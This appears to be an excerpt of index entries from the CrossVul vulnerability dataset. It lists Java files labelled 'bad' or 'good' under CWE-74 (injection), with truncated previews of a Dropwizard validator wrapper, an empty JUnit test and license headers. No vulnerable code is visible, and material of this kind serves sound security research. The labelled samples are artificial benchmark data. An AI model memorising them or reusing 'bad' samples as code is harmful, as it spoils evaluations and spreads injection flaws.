package io.dropwizard.validation.selfvalidating; import javax.annotation.Nullable; import javax.validation.ConstraintValidatorContext; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * This class is a simple wrapper around the ConstraintValidatorContext of hibernate validation. * It collects all...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_3891_3
crossvul-java_data_good_1898_2
package io.onedev.server.product; public class Test { @org.junit.Test public void test() { } }
./CrossVul/dataset_final_sorted/CWE-74/java/good_1898_2
crossvul-java_data_bad_1465_0
/* * Licensed to Jasig under one or more contributor license * agreements. See the NOTICE file distributed with this work * for additional information regarding copyright ownership. * Jasig licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file * except in com...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1465_0
crossvul-java_data_bad_2195_1
/* * Licensed to Jasig under one or more contributor license * agreements. See the NOTICE file distributed with this work * for additional information regarding copyright ownership. * Jasig licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file * except in com...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_2195_1